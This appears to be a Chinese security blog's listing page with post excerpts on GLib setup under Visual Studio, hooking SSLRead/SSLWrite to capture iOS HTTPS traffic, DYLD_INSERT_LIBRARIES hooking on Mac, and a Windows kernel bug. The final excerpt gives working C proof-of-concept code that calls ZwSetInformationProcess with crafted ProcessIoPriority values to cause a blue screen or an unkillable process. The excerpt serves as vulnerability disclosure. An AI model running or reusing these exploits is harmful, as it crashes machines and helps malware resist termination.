Windows 7/Visual Studio2012下使用GTK

Glib是一个多种用途的工具库,它提供许多有用的数据类型,宏定义,类型变换,字符串工具,文件工具,主循环的抽象等等。它可以用于许多类-UNIX平台、Windows,OS/2和BeOS中。GLib在GNU库通用公共许可(GNU LGPL)下发布。
GLib的主要策略是除了数据结构管理功能以外所有的功能都是线程安全的。如果你有两个线程关联系统的数据结构,他们必须使用锁来同步他们的操作。

其实并没有去刻意的要使用这个库,并且所谓的跨平台的东西配置起来都不是那么的容易的。之所以要用这个东西是因为要编译libgpod的代码,网上的说明文件不少,但是代码迁移到windows还是不少的问题的。

官方网站上提供了不少的文件和资源包,为了方便建议直接下载all-in-one bundle,猛击此处下载,猛击此处访问官方下载页面。

下载后解压到某个目录下,我这里是解压到了D:\glib2.28.8,下面的配置以这个路径为例,如果你的不是,那么请自行修改相关路径。打开项目的属性,切换到VC++ Directory标签页,修改如下两项配置:

include

Continue Reading

iOS https(SSL/TLS)数据捕获

要捕获iPhone上的appstore的数据还真的没那么容易,以前介绍的那些使用代理手工导入证书的方法已经完全失效了,结果就是安装证书之后再打开appstore也无法正常的建立连接。按照我的分析其实是appstore在检测证书无效之后直接就没有发起任何的请求(可以通过wireshark抓包查看网络数据)
随之而来的是第二种方法,patch ssl证书校验函数,根据这个原理实现的有两个工具,一个是ssl kill switch,另外一个是trustme。原理都是一样的,并且也非常的简单,按照作者的说法是truestme实现的更底层一些。但是很不幸的是,结局是同样的悲哀的,在iOS6之后这个东西也是失效了。
其实我这里要说的方法也比较简单,如果阅读过上面两个工具的源代码(请自行搜索相关代码),并且理解mac os/iOS 下https实现的相关原理,那么也就自然的想到hook发送和接收函数的方法来捕获数据了。
需要关心的函数只有两个sslread和sslwrite:
代码:

SSLRead
Performs a normal application-level read operation.

OSStatus SSLRead (
SSLContextRef context,
void *data,
size_t dataLength,
size_t *processed
);
Parameters
context
An SSL session context reference.
data
On return, points to the data read. You must allocate this buffer before calling the function. The size of this buffer must be equal to or greater than the value in the dataLength parameter.
dataLength
The amount of data you would like to read.
processed
On return, points to the number of bytes actually read.

而需要关心的字段则就是那个data了,因而要想知道https数据的内容只要能够正常的获取到data字段的内容就行了,同样对于发送函数sslwrite也同样适用:
代码:

SSLWrite
Performs a normal application-level write operation.

OSStatus SSLWrite (
SSLContextRef context,
const void *data,
size_t dataLength,
size_t *processed
);
Parameters
context
An SSL session context reference.
data
A pointer to the buffer of data to write.
dataLength
The amount, in bytes, of data to write.
processed
On return, the length, in bytes, of the data actually written.
Continue Reading

Open Sources

code

至于开源的东西,其实自己也蛮想做的。但是苦于技术水平不够,所以一直也没什么东西公布。刚开始的时候代码都是托管在Googlecode, 后来迁移到了github,但是苦于github不能创建私有项目,于是最后选择了bitbucket上,另外一个好处是可以绑定域名。于是以后有代码公布的话,可以访问这个网址访问http://code.h4ck.org.cn

Hooking library calls on Mac using DYLD_INSERT_LIBRARIES

QQ20130410-1
Mac offers a way to override functions in a shared library with DYLD_INSERT_LIBRARIES environment variable (which is similar to LD_PRELOAD on Linux). When you make a twin brother of a function that is defined in an existing shared library, put it in you a shared library, and you register your shared library name in DYLD_INSERT_LIBRARIES, your function is used instead of the original one. This is my simple test. Here I’ve replaced f() in mysharedlib.dylib with f() in openhook.dylib.

Continue Reading

ProcessIoPriority Bug (BSOD/Non-Killable Process)

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Non-Killable Process:

#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.

Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html